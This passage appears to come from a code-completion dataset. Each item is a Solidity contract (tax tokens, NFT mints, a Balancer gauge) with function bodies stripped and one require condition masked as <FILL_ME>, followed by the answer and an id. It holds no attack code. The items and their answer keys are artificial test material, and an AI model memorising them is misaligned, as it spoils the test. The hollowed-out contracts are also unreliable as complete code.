address private constant _swapRouterAddress = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
IUniswapV2Router02 private _primarySwapRouter = IUniswapV2Router02(_swapRouterAddress);
address private _primaryLP;
mapping (address => bool) private _isLP;
bool private _tradingOpen;
bool private _inTaxSwap = false;
modifier lockTaxSwap { }
event TokensAirdropped(uint256 totalWallets, uint256 totalTokens);
event TokensBurned(address indexed burnedByWallet, uint256 tokenAmount);
constructor() Auth(msg.sender) {
}
receive() external payable {}
function totalSupply() external pure override returns (uint256) { }
function decimals() external pure override returns (uint8) { }
function symbol() external pure override returns (string memory) { }
function name() external pure override returns (string memory) { }
function balanceOf(address account) public view override returns (uint256) { }
function allowance(address holder, address spender) external view override returns (uint256) { }
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
}
function openTrading() external onlyOwner {
}
function _approveRouter(uint256 _tokenAmount) internal {
}
function addInitialLiquidity() external onlyOwner lockTaxSwap {
}
function _addLiquidity(uint256 _tokenAmount, uint256 _ethAmountWei, bool autoburn) internal {
}
function _openTrading() internal {
}
function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
}
function _checkLimits(address sender, address recipient, uint256 transferAmount) internal view returns (bool) {
}
function _checkTradingOpen(address sender) private view returns (bool){
}
function _calculateTax(address sender, address recipient, uint256 amount) internal view returns (uint256) {
}
function getExemptions(address wallet) external view returns (bool noFees, bool noLimits) {
}
function setExemptions(address wallet, bool noFees, bool noLimits) external onlyOwner {
}
function setExtraLP(address lpContractAddress, bool isLiquidityPool) external onlyOwner {
}
function isLP(address wallet) external view returns (bool) {
}
function getTaxInfo() external view returns (uint8 buyTax, uint8 sellTax, uint16 sharesMarketing, uint16 sharesDevelopment, uint16 sharesLP, uint16 sharesTokenBurn ) {
}
function setTaxRates(uint8 newBuyTax, uint8 newSellTax) external onlyOwner {
}
function setTaxDistribution(uint16 sharesTokenBurn, uint16 sharesAutoLP, uint16 sharesMarketing, uint16 sharesDevelopment) external onlyOwner {
}
function getAddresses() external view returns (address owner, address primaryLP, address marketing, address development, address LPowner ) {
}
function setTaxWallets(address newMarketing, address newDevelopment, address newLpOwner) external onlyOwner {
require(<FILL_ME>)
_walletMarketing = payable(newMarketing);
_walletDevelopment = payable(newDevelopment);
_lpOwner = newLpOwner;
_noFees[newMarketing] = true;
_noFees[newDevelopment] = true;
_noLimits[newMarketing] = true;
_noLimits[newDevelopment] = true;
}
function getLimitsInfo() external view returns (uint256 maxTX, uint256 maxWallet, uint256 taxSwapMin, uint256 taxSwapMax ) {
}
function increaseLimits(uint16 maxTxAmtPermile, uint16 maxWalletAmtPermile) external onlyOwner {
}
function setTaxSwapLimits(uint32 minValue, uint32 minDivider, uint32 maxValue, uint32 maxDivider) external onlyOwner {
}
function _burnTokens(address fromWallet, uint256 amount) private {
}
function _swapTaxAndLiquify() private lockTaxSwap {
}
function _swapTaxTokensForEth(uint256 tokenAmount) private {
}
function _distributeTaxEth(uint256 amount) private {
}
function manualTaxSwapAndSend(uint8 swapTokenPercent, bool sendEth) external onlyOwner lockTaxSwap {
}
function burnTokens(uint256 amount) external {
}
function airdrop(address[] calldata addresses, uint256[] calldata tokenAmounts) external onlyOwner {
}
}
| !_isLP[newMarketing]&&!_isLP[newDevelopment]&&!_isLP[newLpOwner],"LP cannot be tax wallet" | 86,702 | !_isLP[newMarketing]&&!_isLP[newDevelopment]&&!_isLP[newLpOwner] |
"Token balance lower than airdrop total" | //SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address __owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed _owner, address indexed spender, uint256 value);
}
abstract contract Auth {
address internal _owner;
constructor(address creatorOwner) { }
modifier onlyOwner() { }
function transferOwnership(address payable newOwner) external onlyOwner { }
event OwnershipTransferred(address _owner);
}
interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); }
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
function WETH() external pure returns (address);
function factory() external pure returns (address);
function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract FleaV2 is IERC20, Auth {
uint8 private constant _decimals = 9;
uint256 private constant _totalSupply = 50_000_000 * (10**_decimals);
string private constant _name = "Flea Swap";
string private constant _symbol = "FLEA";
uint8 private _buyTaxRate = 5;
uint8 private _sellTaxRate = 30;
uint16 private _taxSharesMarketing = 3;
uint16 private _taxSharesDevelopment = 2;
uint16 private _taxSharesBurn = 1;
uint16 private _taxSharesLP = 0;
uint16 private _totalTaxShares = _taxSharesMarketing + _taxSharesDevelopment + _taxSharesBurn + _taxSharesLP;
address payable private _walletMarketing = payable(0xf7a2dF8f7F7d18D81e762d1374113835aeE65839);
address payable private _walletDevelopment = payable(0xE0Ea94022776e12E3C321e4FbDE54dE5526b2F6b);
uint256 private _maxTxAmount = _totalSupply;
uint256 private _maxWalletAmount = _totalSupply;
uint256 private _taxSwapMin = _totalSupply * 10 / 100000;
uint256 private _taxSwapMax = _totalSupply * 85 / 100000;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _noFees;
mapping (address => bool) private _noLimits;
address constant private _burnWallet = address(0);
address private _lpOwner;
address private constant _swapRouterAddress = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
IUniswapV2Router02 private _primarySwapRouter = IUniswapV2Router02(_swapRouterAddress);
address private _primaryLP;
mapping (address => bool) private _isLP;
bool private _tradingOpen;
bool private _inTaxSwap = false;
modifier lockTaxSwap { }
event TokensAirdropped(uint256 totalWallets, uint256 totalTokens);
event TokensBurned(address indexed burnedByWallet, uint256 tokenAmount);
constructor() Auth(msg.sender) {
}
receive() external payable {}
function totalSupply() external pure override returns (uint256) { }
function decimals() external pure override returns (uint8) { }
function symbol() external pure override returns (string memory) { }
function name() external pure override returns (string memory) { }
function balanceOf(address account) public view override returns (uint256) { }
function allowance(address holder, address spender) external view override returns (uint256) { }
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
}
function openTrading() external onlyOwner {
}
function _approveRouter(uint256 _tokenAmount) internal {
}
function addInitialLiquidity() external onlyOwner lockTaxSwap {
}
function _addLiquidity(uint256 _tokenAmount, uint256 _ethAmountWei, bool autoburn) internal {
}
function _openTrading() internal {
}
function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
}
function _checkLimits(address sender, address recipient, uint256 transferAmount) internal view returns (bool) {
}
function _checkTradingOpen(address sender) private view returns (bool){
}
function _calculateTax(address sender, address recipient, uint256 amount) internal view returns (uint256) {
}
function getExemptions(address wallet) external view returns (bool noFees, bool noLimits) {
}
function setExemptions(address wallet, bool noFees, bool noLimits) external onlyOwner {
}
function setExtraLP(address lpContractAddress, bool isLiquidityPool) external onlyOwner {
}
function isLP(address wallet) external view returns (bool) {
}
function getTaxInfo() external view returns (uint8 buyTax, uint8 sellTax, uint16 sharesMarketing, uint16 sharesDevelopment, uint16 sharesLP, uint16 sharesTokenBurn ) {
}
function setTaxRates(uint8 newBuyTax, uint8 newSellTax) external onlyOwner {
}
function setTaxDistribution(uint16 sharesTokenBurn, uint16 sharesAutoLP, uint16 sharesMarketing, uint16 sharesDevelopment) external onlyOwner {
}
function getAddresses() external view returns (address owner, address primaryLP, address marketing, address development, address LPowner ) {
}
function setTaxWallets(address newMarketing, address newDevelopment, address newLpOwner) external onlyOwner {
}
function getLimitsInfo() external view returns (uint256 maxTX, uint256 maxWallet, uint256 taxSwapMin, uint256 taxSwapMax ) {
}
function increaseLimits(uint16 maxTxAmtPermile, uint16 maxWalletAmtPermile) external onlyOwner {
}
function setTaxSwapLimits(uint32 minValue, uint32 minDivider, uint32 maxValue, uint32 maxDivider) external onlyOwner {
}
function _burnTokens(address fromWallet, uint256 amount) private {
}
function _swapTaxAndLiquify() private lockTaxSwap {
}
function _swapTaxTokensForEth(uint256 tokenAmount) private {
}
function _distributeTaxEth(uint256 amount) private {
}
function manualTaxSwapAndSend(uint8 swapTokenPercent, bool sendEth) external onlyOwner lockTaxSwap {
}
function burnTokens(uint256 amount) external {
}
function airdrop(address[] calldata addresses, uint256[] calldata tokenAmounts) external onlyOwner {
require(addresses.length <= 250,"Wallet count over 250 (gas risk)");
require(addresses.length == tokenAmounts.length,"Address and token amount list mismach");
uint256 airdropTotal = 0;
for(uint i=0; i < addresses.length; i++){
airdropTotal += (tokenAmounts[i] * 10**_decimals);
}
require(<FILL_ME>)
for(uint i=0; i < addresses.length; i++){
_balances[msg.sender] -= (tokenAmounts[i] * 10**_decimals);
_balances[addresses[i]] += (tokenAmounts[i] * 10**_decimals);
emit Transfer(msg.sender, addresses[i], (tokenAmounts[i] * 10**_decimals) );
}
emit TokensAirdropped(addresses.length, airdropTotal);
}
}
| _balances[msg.sender]>=airdropTotal,"Token balance lower than airdrop total" | 86,702 | _balances[msg.sender]>=airdropTotal |
"You can't send more tokens than you have or the approval isn't enough" | // SPDX-License-Identifier: MIT
pragma solidity >=0.8.0 <0.9.0;
contract TokenSender{
//// This contract is a token sender that can send many tokens to many addresses
// How to setup and use
// Step 0: Deploy the contract
// Step 2: use SendTokens() to send tokens to many addresses.
// When inputting the addresses, every address must be seperated by a single comma, no spaces.
//// Done by me
function SendTokens(address[] calldata BigListOfAddresses) public {
}
//// Before you deploy the contract, make sure to change these parameters to what you want
constructor () {
}
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
// name is text, decimals is a number, the symbol is text, and the total supply is a number, blah blah blah
// Public so you can see what it is anytime
string public name;
uint8 public decimals;
string public symbol;
uint public totalSupply;
// The button you press to send tokens to someone
function transfer(address _to, uint256 _value) public returns (bool success) {
}
// The function a DEX uses to trade your coins
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(<FILL_ME>)
balanceOf[_to] += _value;
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
emit Transfer(_from, _to, _value);
return true;
}
// The function you use to approve your tokens for trading
function approve(address _spender, uint256 _value) public returns (bool success) {
}
}
| balanceOf[_from]>=_value&&allowance[_from][msg.sender]>=_value,"You can't send more tokens than you have or the approval isn't enough" | 86,724 | balanceOf[_from]>=_value&&allowance[_from][msg.sender]>=_value |
"_purchase: exceed max supply" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.2;
import "@openzeppelin/contracts/finance/PaymentSplitter.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/token/ERC1155/extensions/ERC1155Supply.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "./AbstractERC1155Factory.sol";
/// @custom:security-contact [email protected]
contract GmGn is AbstractERC1155Factory, PaymentSplitter {
using SafeMath for uint256;
uint256 public constant MAX_SUPPLY = 1000;
uint256 public constant MAX_TEAM_SUPPLY = 22;
uint256 public constant MAX_AIRDROP_SUPPLY = 68;
uint8 public maxAmountPerTx = 3;
uint256 public mintPrice = 100000000000000000;
uint256 public publicSaleOpens = 0;
uint256 public publicSaleCloses = 1;
event Purchased(uint256 indexed index, address indexed account, uint256 amount);
constructor(string memory _name, string memory _symbol, string memory _uri, address _governor, address[] memory payees, uint256[] memory shares_) ERC1155(_uri) PaymentSplitter(payees, shares_) {
}
function release(address payable account) public override {
}
function editWindow(
uint256 _publicSaleOpens,
uint256 _publicSaleCloses
) external onlyOwner {
}
function airdrop(address[] memory accounts) external onlyOwner {
}
function purchaseGmGn(uint256 amount) external payable whenNotPaused {
}
function _purchase(uint256 id, uint256 amount) private {
require(msg.sender == tx.origin, "_purchase: sender != origin");
require(amount > 0 && amount <= maxAmountPerTx, "_purchase: exceed max per tx");
require(<FILL_ME>)
require(msg.value == amount * mintPrice, "_purchase: Incorrect value");
_mint(msg.sender, id, amount, "");
emit Purchased(id, msg.sender, amount);
}
function _mintGmGnForTeam(address governor) private onlyOwner {
}
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC1155)
returns (bool)
{
}
}
| totalSupply(id)+amount<=MAX_SUPPLY,"_purchase: exceed max supply" | 86,739 | totalSupply(id)+amount<=MAX_SUPPLY |
"GmGn for team already minted" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.2;
import "@openzeppelin/contracts/finance/PaymentSplitter.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/token/ERC1155/extensions/ERC1155Supply.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "./AbstractERC1155Factory.sol";
/// @custom:security-contact [email protected]
contract GmGn is AbstractERC1155Factory, PaymentSplitter {
using SafeMath for uint256;
uint256 public constant MAX_SUPPLY = 1000;
uint256 public constant MAX_TEAM_SUPPLY = 22;
uint256 public constant MAX_AIRDROP_SUPPLY = 68;
uint8 public maxAmountPerTx = 3;
uint256 public mintPrice = 100000000000000000;
uint256 public publicSaleOpens = 0;
uint256 public publicSaleCloses = 1;
event Purchased(uint256 indexed index, address indexed account, uint256 amount);
constructor(string memory _name, string memory _symbol, string memory _uri, address _governor, address[] memory payees, uint256[] memory shares_) ERC1155(_uri) PaymentSplitter(payees, shares_) {
}
function release(address payable account) public override {
}
function editWindow(
uint256 _publicSaleOpens,
uint256 _publicSaleCloses
) external onlyOwner {
}
function airdrop(address[] memory accounts) external onlyOwner {
}
function purchaseGmGn(uint256 amount) external payable whenNotPaused {
}
function _purchase(uint256 id, uint256 amount) private {
}
function _mintGmGnForTeam(address governor) private onlyOwner {
require(<FILL_ME>)
_mint(governor, 0, MAX_TEAM_SUPPLY + MAX_AIRDROP_SUPPLY, "");
}
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC1155)
returns (bool)
{
}
}
| totalSupply(0)==0,"GmGn for team already minted" | 86,739 | totalSupply(0)==0 |
"Invalid Wrapper Token" | // SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
pragma experimental ABIEncoderV2;
import "@balancer-labs/v2-solidity-utils/contracts/openzeppelin/ERC20.sol";
import "@balancer-labs/v2-solidity-utils/contracts/openzeppelin/SafeERC20.sol";
import "./AvalancheRootGaugeLib.sol";
import "../StakelessGauge.sol";
/// @dev Partial interface for LayerZero BAL proxy.
interface ILayerZeroBALProxy {
struct LzCallParams {
address payable refundAddress;
address zroPaymentAddress;
bytes adapterParams;
}
/// @dev Returns packet type to be used in adapter params. It is a constant set to 0.
// solhint-disable-next-line func-name-mixedcase
function PT_SEND() external pure returns (uint8);
/// @dev Returns minimum gas limit required for the target `chainId` and `packetType`.
function minDstGasLookup(uint16 chainId, uint16 packetType) external view returns (uint256);
/// @dev Returns true if custom adapter parameters are activated in the proxy.
function useCustomAdapterParams() external view returns (bool);
/// @dev Returns the address of the underlying ERC20 token.
function token() external view returns (address);
/**
* @dev Estimate fee for sending token `_tokenId` to (`_dstChainId`, `_toAddress`).
* @param _dstChainId L0 defined chain id to send tokens to.
* @param _toAddress dynamic bytes array with the address you are sending tokens to on dstChain.
* @param _amount amount of the tokens to transfer.
* @param _useZro indicates to use zro to pay L0 fees.
* @param _adapterParams flexible bytes array to indicate messaging adapter services in L0.
*/
function estimateSendFee(
uint16 _dstChainId,
bytes32 _toAddress,
uint256 _amount,
bool _useZro,
bytes calldata _adapterParams
) external view returns (uint256 nativeFee, uint256 zroFee);
/**
* @dev Send `_amount` amount of token to (`_dstChainId`, `_toAddress`) from `_from`.
* @param _from the token owner.
* @param _dstChainId the destination chain identifier.
* @param _toAddress can be any size depending on the `dstChainId`.
* @param _amount the quantity of tokens in wei.
* @param _minAmount the minimum amount of tokens to receive on dstChain.
* @param _callParams struct with custom options.
* - refundAddress: the address LayerZero refunds if too much message fee is sent.
* - zroPaymentAddress set to address(0x0) if not paying in ZRO (LayerZero Token).
* - adapterParams is a flexible bytes array used to configure messaging adapter services.
*/
function sendFrom(
address _from,
uint16 _dstChainId,
bytes32 _toAddress,
uint256 _amount,
uint256 _minAmount,
LzCallParams calldata _callParams
) external payable;
/// @dev Returns the maximum allowed precision (decimals) for proxy transfers.
function sharedDecimals() external returns (uint8);
}
/**
* @notice Root Gauge for the Avalanche network.
* @dev Uses LayerZero OFTv2 (Omni Fungible Token V2) proxy contracts to bridge BAL.
* See https://layerzero.gitbook.io/docs/evm-guides/layerzero-omnichain-contracts/oft/oftv2 for reference.
*/
contract AvalancheRootGauge is StakelessGauge {
using SafeERC20 for IERC20;
// LayerZero uses proprietary chain IDs.
// https://layerzero.gitbook.io/docs/technical-reference/mainnet/supported-chain-ids#avalanche
uint16 private constant _AVALANCHE_LZ_CHAIN_ID = 106;
// PT_SEND constant in proxy; replicated here for simplicity.
// See https://layerzero.gitbook.io/docs/evm-guides/layerzero-tooling/wire-up-configuration.
// and https://github.com/LayerZero-Labs/solidity-examples/blob/9134640fe5b618a047f365555e760c8736ebc162/contracts/token/oft/v2/OFTCoreV2.sol#L17.
// solhint-disable-previous-line max-line-length
uint16 private constant _SEND_PACKET_TYPE = 0;
// https://layerzero.gitbook.io/docs/evm-guides/advanced/relayer-adapter-parameters
uint16 private constant _ADAPTER_PARAMS_VERSION = 1;
ILayerZeroBALProxy private immutable _lzBALProxy;
// The proxy will truncate the amounts to send using this value, as it does not support 18 decimals.
// Any amount to send is truncated to this number, which depends on the shared decimals in the proxy.
// See https://layerzero.gitbook.io/docs/evm-guides/layerzero-omnichain-contracts/oft/oft-v1-vs-oftv2-which-should-i-use#what-are-the-differences-between-the-two-versions
// solhint-disable-previous-line max-line-length
uint256 private immutable _minimumBridgeAmount;
// This value is kept in storage and not made immutable to allow for this contract to be proxyable
address private _recipient;
/**
* @dev Must be deployed by the AvalancheRootGaugeFactory, or other contract that implements
* `IAvalancheBridgeLimitsProvider`.
*/
constructor(IMainnetBalancerMinter minter, ILayerZeroBALProxy lzBALProxy) StakelessGauge(minter) {
}
function initialize(address recipient, uint256 relativeWeightCap) external {
// Sanity check that the underlying token of the minter is the same we've wrapped for Avalanche.
require(<FILL_ME>)
// This will revert in all calls except the first one
__StakelessGauge_init(relativeWeightCap);
_recipient = recipient;
}
/// @inheritdoc IStakelessGauge
function getRecipient() public view override returns (address) {
}
/// @dev Return the Layer Zero proxy contract for the underlying BAL token.
function getBALProxy() external view returns (address) {
}
/**
* @dev Returns the minimum amount of tokens that can be bridged.
* Values lower than this one will not even be transferred to the proxy.
*/
function getMinimumBridgeAmount() public view returns (uint256) {
}
/// @inheritdoc IStakelessGauge
function getTotalBridgeCost() public view override returns (uint256) {
}
function _getTotalBridgeCost(bytes memory adapterParams) internal view returns (uint256) {
}
function _postMintAction(uint256 mintAmount) internal override {
}
function _getAdapterParams() internal view returns (bytes memory) {
}
}
| _lzBALProxy.token()==address(_balToken),"Invalid Wrapper Token" | 86,778 | _lzBALProxy.token()==address(_balToken) |
null | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
import "@openzeppelin/contracts/access/Ownable.sol";
import "tiny-erc721/contracts/TinyERC721.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
contract SplashbyMichael is TinyERC721, Ownable {
string public baseURI;
address public proxyRegistryAddress = 0xa5409ec958C83C3f309868babACA7c86DCB077c1;
address public lead;
bool public publicPaused = true;
uint256 public cost = 0.005 ether;
uint256 public maxSupply = 333;
uint256 public maxPerWalletPublic = 2;
uint256 public maxPerWalletFree = 0;
uint256 public maxPerTxPublic = 2;
uint256 public maxPerTxFree = 0;
address public contractV1;
uint256 supply = totalSupply();
mapping(address => uint) public addressMintedBalance;
mapping(address => uint) public addressMintedBalanceFree;
constructor(
string memory _baseURI,
address _lead,
address _contractV1
)TinyERC721("Splash by Micheal", "SBM", 0) {
}
modifier publicnotPaused() {
}
modifier callerIsUser() {
}
function setContractV1Address(address _contractV1) public onlyOwner {
}
function tokenURI(uint256 _tokenId) public view override returns (string memory) {
}
function setProxyRegistryAddress(address _proxyRegistryAddress) external onlyOwner {
}
function togglePublic(bool _state) external onlyOwner {
}
function reserveTokens(uint256 _quanitity) public onlyOwner {
uint256 supply = totalSupply();
require(<FILL_ME>)
_safeMint(msg.sender, _quanitity);
}
function setBaseURI(string memory _baseURI) public onlyOwner {
}
function publicMint(uint256 _quantity)
public
payable
publicnotPaused()
callerIsUser()
{
}
function freeMint(uint256 _quantitty)
public
publicnotPaused()
callerIsUser()
{
}
function isApprovedForAll(address _owner, address operator) public view override returns (bool) {
}
function withdraw() public onlyOwner {
}
}
contract OwnableDelegateProxy { }
contract OpenSeaProxyRegistry {
mapping(address => OwnableDelegateProxy) public proxies;
}
| _quanitity+supply<=maxSupply | 86,794 | _quanitity+supply<=maxSupply |
"SoldOut" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
import "@openzeppelin/contracts/access/Ownable.sol";
import "tiny-erc721/contracts/TinyERC721.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
contract SplashbyMichael is TinyERC721, Ownable {
string public baseURI;
address public proxyRegistryAddress = 0xa5409ec958C83C3f309868babACA7c86DCB077c1;
address public lead;
bool public publicPaused = true;
uint256 public cost = 0.005 ether;
uint256 public maxSupply = 333;
uint256 public maxPerWalletPublic = 2;
uint256 public maxPerWalletFree = 0;
uint256 public maxPerTxPublic = 2;
uint256 public maxPerTxFree = 0;
address public contractV1;
uint256 supply = totalSupply();
mapping(address => uint) public addressMintedBalance;
mapping(address => uint) public addressMintedBalanceFree;
constructor(
string memory _baseURI,
address _lead,
address _contractV1
)TinyERC721("Splash by Micheal", "SBM", 0) {
}
modifier publicnotPaused() {
}
modifier callerIsUser() {
}
function setContractV1Address(address _contractV1) public onlyOwner {
}
function tokenURI(uint256 _tokenId) public view override returns (string memory) {
}
function setProxyRegistryAddress(address _proxyRegistryAddress) external onlyOwner {
}
function togglePublic(bool _state) external onlyOwner {
}
function reserveTokens(uint256 _quanitity) public onlyOwner {
}
function setBaseURI(string memory _baseURI) public onlyOwner {
}
function publicMint(uint256 _quantity)
public
payable
publicnotPaused()
callerIsUser()
{
uint256 supply = totalSupply();
require(msg.value >= cost * _quantity, "Not Enough Ether");
require(_quantity <= maxPerTxPublic, "Over Tx Limit");
require(<FILL_ME>)
require(addressMintedBalance[msg.sender] < maxPerWalletPublic, "Over MaxPerWallet");
addressMintedBalance[msg.sender] += _quantity;
_safeMint(msg.sender, _quantity);
}
function freeMint(uint256 _quantitty)
public
publicnotPaused()
callerIsUser()
{
}
function isApprovedForAll(address _owner, address operator) public view override returns (bool) {
}
function withdraw() public onlyOwner {
}
}
contract OwnableDelegateProxy { }
contract OpenSeaProxyRegistry {
mapping(address => OwnableDelegateProxy) public proxies;
}
| _quantity+supply<=maxSupply,"SoldOut" | 86,794 | _quantity+supply<=maxSupply |
"Over MaxPerWallet" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
import "@openzeppelin/contracts/access/Ownable.sol";
import "tiny-erc721/contracts/TinyERC721.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
contract SplashbyMichael is TinyERC721, Ownable {
string public baseURI;
address public proxyRegistryAddress = 0xa5409ec958C83C3f309868babACA7c86DCB077c1;
address public lead;
bool public publicPaused = true;
uint256 public cost = 0.005 ether;
uint256 public maxSupply = 333;
uint256 public maxPerWalletPublic = 2;
uint256 public maxPerWalletFree = 0;
uint256 public maxPerTxPublic = 2;
uint256 public maxPerTxFree = 0;
address public contractV1;
uint256 supply = totalSupply();
mapping(address => uint) public addressMintedBalance;
mapping(address => uint) public addressMintedBalanceFree;
constructor(
string memory _baseURI,
address _lead,
address _contractV1
)TinyERC721("Splash by Micheal", "SBM", 0) {
}
modifier publicnotPaused() {
}
modifier callerIsUser() {
}
function setContractV1Address(address _contractV1) public onlyOwner {
}
function tokenURI(uint256 _tokenId) public view override returns (string memory) {
}
function setProxyRegistryAddress(address _proxyRegistryAddress) external onlyOwner {
}
function togglePublic(bool _state) external onlyOwner {
}
function reserveTokens(uint256 _quanitity) public onlyOwner {
}
function setBaseURI(string memory _baseURI) public onlyOwner {
}
function publicMint(uint256 _quantity)
public
payable
publicnotPaused()
callerIsUser()
{
uint256 supply = totalSupply();
require(msg.value >= cost * _quantity, "Not Enough Ether");
require(_quantity <= maxPerTxPublic, "Over Tx Limit");
require(_quantity + supply <= maxSupply, "SoldOut");
require(<FILL_ME>)
addressMintedBalance[msg.sender] += _quantity;
_safeMint(msg.sender, _quantity);
}
function freeMint(uint256 _quantitty)
public
publicnotPaused()
callerIsUser()
{
}
function isApprovedForAll(address _owner, address operator) public view override returns (bool) {
}
function withdraw() public onlyOwner {
}
}
contract OwnableDelegateProxy { }
contract OpenSeaProxyRegistry {
mapping(address => OwnableDelegateProxy) public proxies;
}
| addressMintedBalance[msg.sender]<maxPerWalletPublic,"Over MaxPerWallet" | 86,794 | addressMintedBalance[msg.sender]<maxPerWalletPublic |
"SoldOut" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
import "@openzeppelin/contracts/access/Ownable.sol";
import "tiny-erc721/contracts/TinyERC721.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
contract SplashbyMichael is TinyERC721, Ownable {
string public baseURI;
address public proxyRegistryAddress = 0xa5409ec958C83C3f309868babACA7c86DCB077c1;
address public lead;
bool public publicPaused = true;
uint256 public cost = 0.005 ether;
uint256 public maxSupply = 333;
uint256 public maxPerWalletPublic = 2;
uint256 public maxPerWalletFree = 0;
uint256 public maxPerTxPublic = 2;
uint256 public maxPerTxFree = 0;
address public contractV1;
uint256 supply = totalSupply();
mapping(address => uint) public addressMintedBalance;
mapping(address => uint) public addressMintedBalanceFree;
constructor(
string memory _baseURI,
address _lead,
address _contractV1
)TinyERC721("Splash by Micheal", "SBM", 0) {
}
modifier publicnotPaused() {
}
modifier callerIsUser() {
}
function setContractV1Address(address _contractV1) public onlyOwner {
}
function tokenURI(uint256 _tokenId) public view override returns (string memory) {
}
function setProxyRegistryAddress(address _proxyRegistryAddress) external onlyOwner {
}
function togglePublic(bool _state) external onlyOwner {
}
function reserveTokens(uint256 _quanitity) public onlyOwner {
}
function setBaseURI(string memory _baseURI) public onlyOwner {
}
function publicMint(uint256 _quantity)
public
payable
publicnotPaused()
callerIsUser()
{
}
function freeMint(uint256 _quantitty)
public
publicnotPaused()
callerIsUser()
{
uint256 supply = totalSupply();
require(_quantitty <= maxPerTxFree, "Over Tx Limit");
require(<FILL_ME>)
require(addressMintedBalanceFree[msg.sender] < maxPerWalletFree, "Over MaxPerWallet");
addressMintedBalanceFree[msg.sender] += _quantitty;
_safeMint(msg.sender, _quantitty);
}
function isApprovedForAll(address _owner, address operator) public view override returns (bool) {
}
function withdraw() public onlyOwner {
}
}
contract OwnableDelegateProxy { }
contract OpenSeaProxyRegistry {
mapping(address => OwnableDelegateProxy) public proxies;
}
| _quantitty+supply<=maxSupply,"SoldOut" | 86,794 | _quantitty+supply<=maxSupply |
"Over MaxPerWallet" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
import "@openzeppelin/contracts/access/Ownable.sol";
import "tiny-erc721/contracts/TinyERC721.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
contract SplashbyMichael is TinyERC721, Ownable {
string public baseURI;
address public proxyRegistryAddress = 0xa5409ec958C83C3f309868babACA7c86DCB077c1;
address public lead;
bool public publicPaused = true;
uint256 public cost = 0.005 ether;
uint256 public maxSupply = 333;
uint256 public maxPerWalletPublic = 2;
uint256 public maxPerWalletFree = 0;
uint256 public maxPerTxPublic = 2;
uint256 public maxPerTxFree = 0;
address public contractV1;
uint256 supply = totalSupply();
mapping(address => uint) public addressMintedBalance;
mapping(address => uint) public addressMintedBalanceFree;
constructor(
string memory _baseURI,
address _lead,
address _contractV1
)TinyERC721("Splash by Micheal", "SBM", 0) {
}
modifier publicnotPaused() {
}
modifier callerIsUser() {
}
function setContractV1Address(address _contractV1) public onlyOwner {
}
function tokenURI(uint256 _tokenId) public view override returns (string memory) {
}
function setProxyRegistryAddress(address _proxyRegistryAddress) external onlyOwner {
}
function togglePublic(bool _state) external onlyOwner {
}
function reserveTokens(uint256 _quanitity) public onlyOwner {
}
function setBaseURI(string memory _baseURI) public onlyOwner {
}
function publicMint(uint256 _quantity)
public
payable
publicnotPaused()
callerIsUser()
{
}
function freeMint(uint256 _quantitty)
public
publicnotPaused()
callerIsUser()
{
uint256 supply = totalSupply();
require(_quantitty <= maxPerTxFree, "Over Tx Limit");
require(_quantitty + supply <= maxSupply, "SoldOut");
require(<FILL_ME>)
addressMintedBalanceFree[msg.sender] += _quantitty;
